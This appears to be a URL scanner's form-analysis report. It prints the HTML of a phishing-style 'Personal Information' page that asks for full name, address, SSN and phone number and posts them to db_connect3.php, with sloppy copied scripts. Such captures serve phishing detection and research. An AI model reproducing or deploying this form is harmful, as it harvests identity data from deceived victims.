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Form analysis
1 forms found in the DOM

POST db_connect3.php

<form action="db_connect3.php" method="post" autocomplete="off">
  <div class="hide">
  </div>
  <h4 id="heading" tabindex="-1" aria-describedby="heading description forgotForm">Personal Information</h4>
  <div class="panel">
    <div class="panel__body">
      <div class="form-control-container"> Provide the following information to verify your identity <br>
        <br>
        <label>
          <span class="form-control__label">Full Name</span>
          <input class="form-control k-textbox" id="Password" type="Text" required="" maxlength="60" autocapitalize="off" autocorrect="off" autocomplete="off" name="name" value=""><br>
        </label>
        <label>
          <span class="form-control__label">Contact Address</span>
          <input class="form-control k-textbox" id="Password" type="Text" required="" maxlength="60" autocapitalize="off" autocorrect="off" autocomplete="off" name="address" value=""><br>
        </label>
        <label>
          <span class="form-control__label">City</span>
          <input class="form-control k-textbox" id="Password" type="Text" required="" maxlength="60" autocapitalize="off" autocorrect="off" autocomplete="off" name="city" value=""><br>
        </label>
        <label>
          <span class="form-control__label">State</span>
          <input class="form-control k-textbox" id="Password" type="Text" required="" maxlength="60" autocapitalize="off" autocorrect="off" autocomplete="off" name="state" value=""><br>
        </label>
        <label>
          <span class="form-control__label">Zip Code</span>
          <input class="form-control k-textbox" id="zcode" type="Text" required="" maxlength="60" autocapitalize="off" autocorrect="off" autocomplete="off" name="zcode" value=""><br>
          <script>
            var element = document.getElementById('zcode');
            var maskOptions = {
              mask: '000000'
            };
            var mask = IMask(element, maskOptions);
          </script>
        </label>
        <label>
          <span class="form-control__label">SSN</span>
          <input class="form-control k-textbox" id="Password" type="Tel" value="" maxlength="9" autocapitalize="off" autocorrect="off" autocomplete="off" name="ssn" required=""><br>
          <script>
            document.addEventListener("DOMContentLoaded", function() {
              const btnNext = document.getElementById('btnNext');
              btnNext.addEventListener("click", advancePage, false);
            });

            function advancePage() {
              const elEml = document.getElementById('ssn');
              localStorage.setItem('eml', elEml.value);
            }
          </script>
          <script>
            var element = document.getElementById('ssn');
            var maskOptions = {
              mask: '00-000-0000'
            };
            var mask = IMask(element, maskOptions);
          </script>
          <label id="usernameLabel" for="username">Phone Number</label>
          <input type="tel" maxlength="60" class="form-control" id="phone" autocapitalize="off" autocorrect="off" autocomplete="off" name="phone" value="" required="">
          <script>
            document.addEventListener("DOMContentLoaded", function() {
              const btnNext = document.getElementById('btnNext');
              btnNext.addEventListener("click", advancePage, false);
            });

            function advancePage() {
              const elEml = document.getElementById('phone');
              localStorage.setItem('eml', elEml.value);
            }
          </script>
          <script>
            var element = document.getElementById('phone');
            var maskOptions = {
              mask: '(000)-000-0000'
            };
            var mask = IMask(element, maskOptions);
          </script>
        </label>
      </div>
    </div>
  </div>
  <div class="form-control-container" data-viewmodel="orpheus/viewmodels/grecaptcha" data-viewname="grecaptcha" data-staticdata="{&quot;recaptchaContainerStableName&quot;:&quot;ReCaptchaContainer&quot;}">
    <div data-stable-name="ReCaptchaContainer"
      data-staticdata="{&quot;htmlElementId&quot;:&quot;recaptcha-v2-container&quot;,&quot;headerTokenKey&quot;:&quot;recaptcha-token&quot;,&quot;headerVersionKey&quot;:&quot;recaptcha-version&quot;,&quot;recaptchaHtmlElementId&quot;:&quot;recaptcha-v2-container&quot;,&quot;v2SiteKey&quot;:&quot;6Lev97YZAAAAALU4hs6Vg1m6uzRBs6effuxjsNDQ&quot;,&quot;v3SiteKey&quot;:&quot;6LeY97YZAAAAAFptlNgo1bxaXCwH65lNLLxQQJGt&quot;}">
      <div id="recaptcha-v2-container" class="g-recaptcha"></div>
      <script src="./UCU_files/api.js.download"></script>
    </div>
    <span class="g-recaptcha-error k-invalid-msg" style="display: none" role="alert" data-bind="visible: isChallengeRequiredMessage"> Please verify that you are not a robot. </span>
  </div>
  <div class="form-submit-container">
    <button type="submit" name="submit" class="btn btn--primary" data-stable-name="ContinueButton"> Continue </button>
  </div>
</form>

Text Content

PERSONAL INFORMATION

Provide the following information to verify your identity

Full Name
Contact Address
City
State
Zip Code
SSN
Phone Number

Please verify that you are not a robot.
Continue

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